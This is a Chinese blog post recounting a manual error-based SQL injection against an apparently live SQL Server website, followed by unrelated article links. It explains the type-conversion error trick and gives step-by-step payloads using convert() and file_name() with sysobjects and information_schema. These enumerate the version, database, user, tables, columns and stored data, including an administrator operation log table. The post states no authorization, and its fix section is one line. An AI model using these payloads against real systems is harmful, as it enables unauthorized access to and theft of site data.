前言

最近测试了一个站点,这个站点挺有意思,发现没有关闭错误提示,初步猜测是SQL server数据库,后来验证确实是。在这里记录一下实战过程,并详细讲解一下用到的知识点。

SQL server报错注入原理

SQL server报错注入的文章,网上有很多,大部分文章都列出了类似于公式的句子,却没有解释为什么使用这样的函数。这里用convert()函数举例,convert()函数是是将日期转换为新数据类型的通用函数。

对于咱们构造的payloadconvert(int,@@version),convert函数会先执行第二个参数指定的sql查询,并尝试转化为int类型,因为查询的结果是varchar类型,所以会转化失败报错,报错的信息当中有咱们需要的信息。

满足这样条件的函数很多,如:

convert() file_name() db_name() col_name()

还有一些其他的不列举了。

发现注入点

之前猜测是SQL server数据库,现在验证一下,发现在输入手机号的地方存在注入点,用sqlmap跑了一下没跑出来,尴尬==,那就尝试手工注入。构造payloadconvert(int,@@version),目的是查询一下版本信息。



发现是SQL server数据库

查询基本信息

知道了版本,还需要查询一下数据库名,和当前用户名(看看拥有多少权限)。

payload:

convert(int,db_name()) convert(int,user)



获取表名

这里遇到了一点小问题,继续使用convert()函数时,发现查询的内容溢出了整数列。



这可如何是好,convert()无法使用了,所以咱们前面总结的实现相同功能的函数就派上用场了。这里更换函数,使用file_name()函数,构造payload:

(file_name((select%20 top 1 name from 库名.sys.sysobjects where xtype='U')))



可以查询出第一张表,这时候可以在后面加一个条件语句and name !='上一个表名',可以查询出第二张表。

payload:

(file_name((select%20 top 1 name from 库名.sys.sysobjects where xtype='U'and name !='上一个表名')))



如果想要查询第三张表,再接着添加条件语句就可以了,可以查询出所有的表。这里就不演示了。

获取列名

payload:

(file_name((select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16进制表名 as varchar))))



我们获取到了第一个列名"编号",接下来依然再后面添加条件语句and COLUMN_NAME != '上一个列名'就可以获取到第二个列名。

payload:

(file_name((select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16进制表名 as varchar) and COLUMN_NAME != '上一个列名')))





按照这种方法同样可以查询出所有列名。这里就不向下查询了。

获取数据

前面我们查询到的表名有 S票据打印记录``管理员操作记录而我们获取了管理员操作记录下的列名编号管理员编号操作内容,下面我们查询操作内容下的数据。

payload:

(select top 1 列名 from 表名)



依然可以通过条件语句获取到其他的数据,这里就不在演示了。

SQL server报错注入到此为止。

修复方案

关闭错误提示

实战记录之SQL server报错手工注入的更多相关文章

  1. 安装SQl Server 报错 "需要 Microsoft.NET Framework 3.5 ServicePack 1" 解决方法

    前言 之前装Sql Server都没遇到过这样的问题, 昨天重装了系统之后, 然后安装SQl Server 报错,提示 "需要 Microsoft.NET Framework 3.5 Ser ...

  2. Python 学习笔记:Python 连接 SQL Server 报错(20009, b'DB-Lib error message 20009, severity 9)

    问题及场景: 最近需要使用 Python 将数据写到 SQL Server 数据库,但是在进行数据库连接操作时却报以下错误:(20009, b'DB-Lib error message 20009, ...

  3. sql server 报错处理

    1.错误:针对程序集 'StoreProc' 的 CREATE ASSEMBLY 失败,因为程序集 'StoreProc' 未获授权,不满足 PERMISSION_SET = UNSAFE.满足以下两 ...

  4. SQL语句报错(一)

    SQL语句报错(一) 1.具体报错如下: ORA-01861:文字格式字符串不匹配 01861. 00000 - "literal does not match format string& ...

  5. mysql5.7执行sql语句报错:In aggregated query without GROUP BY, expression #1 of SELECT list contains nonagg

    mysql5.7执行sql语句报错:In aggregated query without GROUP BY, expression #1 of SELECT list contains nonagg ...

  6. 报错记录(xml抬头报错)

    报错记录(xml抬头报错) Referenced file contains errors (http://www.springframework.org/schema/beans/spring-be ...

  7. npm run server报错

    从git上clone的vue项目npm install后npm run server报错 $ npm run dev > lufei@1.0.0 dev E:\pythonProject\luf ...

  8. 解决Mysql搭建成功后执行sql语句报错以及区分大小写问题

    刚搭建完mysql 8.0以后会: 一.表区分大小写, 二.执行正确的sql语句成功且会报:[Err] 1055 - Expression #1 of ORDER BY clause is not i ...

  9. sql注入--基于报错的注入

    这是经典的sqli-labs 中的less-5 问题首先通过几个常见的进行测试, 发现只要正确的话就会输出you are in.... 并不能绕过,因此不能出现敏感信息,因此要用一种新思路(参考白帽学 ...

随机推荐

  1. 数学分析新讲(1) NOTE

    前言:无聊才翻翻看看来复习啦..所以慢更(●'◡'●) 1.利用求和公式的性质推导: \[\sum^{n}_{k=1}k=n \] \[\sum^{n}_{k=1}k^2=\frac{n(n+1)(2 ...

  2. 【Python】【第二节】【时间与日期处理模块】

    转载至https://blog.csdn.net/p9bl5bxp/article/details/54945920 Python中提供了多个用于对日期和时间进行操作的内置模块:time模块.date ...

  3. delete old data in elasticsearch

    delete old data in elasticsearch 0.正文. 其实很简单,就是用他的rest api 发一个delete 请求到 localhost:9200/[indices] [i ...

  4. Python的第三方web开发框架Django

    1.Django Django是一个基于Python的第三方Web应用开发框架,可以简化Web开发. 官网:https://www.djangoproject.com/ 主要特点: ①采用MVC模型变 ...

  5. DRF版本组件

    1.DRF版本组件配置类局部使用 局部配置: 方式一:直接配置versioning_class=QueryParameterVersioning 方式二:直接配置versioning_class=UR ...

  6. 欧姆龙FinsTCP与FinsUDP协议解析 —— 利用Wireshark对报文逐字节进行解析详细解析附含报文模拟器等

    前言 – Fins欧姆龙这个协议网上极少有相关的模拟器.Tcp的这一块倒是有但是Udp的基本都是不可用 1. Fins协议结构也很简单 协议分为两种 一种tcp一种udp 2. Tcp比Udp的报文会 ...

  7. Robot Framework(4)- 测试套件的基本使用

    如果你还想从头学起Robot Framework,可以看看这个系列的文章哦! https://www.cnblogs.com/poloyy/category/1770899.html 前言 因为是基于 ...

  8. GO 使用Webhook 实现github 自动化部署

    通常大家开发大部分是本地git push 提交,服务器上git pull 手动更新.git 可以使用webhook实现自动部署.webhook是仓库平台的一个钩子事件,通过hook 钩子监听代码,回调 ...

  9. arch 系列manjaro更新deepin-screenshot没有图标

    问题描述 deepin软件安装到其他分支后,这个问题出现,相信各位一点都不意外,原因不细说,简单的概括就是没有DDE的桌面环境!! 简单介绍 deepin-screen截图软件在使用的时候是深受国人的 ...

  10. 循序渐进VUE+Element 前端应用开发(4)--- 获取后端数据及产品信息页面的处理

    在前面随笔<循序渐进VUE+Element 前端应用开发(3)--- 动态菜单和路由的关联处理>中介绍了在Vue + Element整合框架中,实现了动态菜单和动态路由的处理,从而可以根据 ...